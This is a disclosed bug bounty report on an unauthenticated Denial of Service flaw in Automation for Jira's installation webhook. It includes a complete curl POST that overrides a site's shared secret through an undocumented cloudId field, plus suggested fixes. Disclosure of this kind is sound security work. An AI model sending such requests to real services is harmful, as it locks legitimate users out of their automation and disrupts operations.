Summary by Atlassian
Denial of Service vulnerability in automation for Jira
Denial of Service vulnerability in automation for Jira
Automation for Jira is implemented as a Connect integration for Jira. It allowed unauthenticated users to override the shared secret for a given cloud id - leading to all valid requests to Automation getting 403 (Unauthorized) errors. This could have resulted in a global DOS for Automation for Jira.
Jira Service Management Cloud (bugbounty-test-<bugcrowd-name>.atlassian.net)
Web App
https://automation.atlassian.com/pro/rest/lifecycle/installed
Automation for Jira is implemented as an Atlassian Connect app, however it uses an undocumented parameter in the installation webhook: cloudId. If this matches an existing cloud site, it will override the existing record for that cloud site, and set the shared secret to the user provided shared secret. This is all possible without any authentication whatsoever.
curl https://automation.atlassian.com/pro/rest/lifecycle/installed \
-X POST \
-H "Content-Type:application/json" \
-d '{
"key": "com.codebarrel.addons.automation",
"clientKey": "<cloud-id>",
"cloudId": "<cloud-id>",
"sharedSecret": "new-shared-secret-that-is-long-enough",
"serverVersion": "server-version",
"pluginsVersion": "version-of-connect",
"baseUrl": "https://bugbountytest-rjw3.atlassian.net",
"displayUrl": " https://bugbountytest-rjw3.atlassian.net",
"productType": "jira",
"description": "Atlassian Jira at https://bugbountytest-rjw10.atlassian.net",
"serviceEntitlementNumber": "SEN-22994770",
"eventType": "installed"
}'
If the result is:
"INSTALLED OK"
Then the attack has been completed successfully and Automation for Jira will look like:
I believe this functionality was added to handle site re-import scenarios - one suggestion is to only allow installation requests from known Atlassian IP adresses. Or verify the installation requests with public key (as I believe is eventually planned)
Also note - there was a verbose error message on the installation request:
{"errorMessage":null,"message":null,"warningMessages":[],"errorMessages":["CloudId is a required field."],"errors":{},"status":400}
which made it much easier to find this - it might be worth looking at the response messages for the installation endpoint.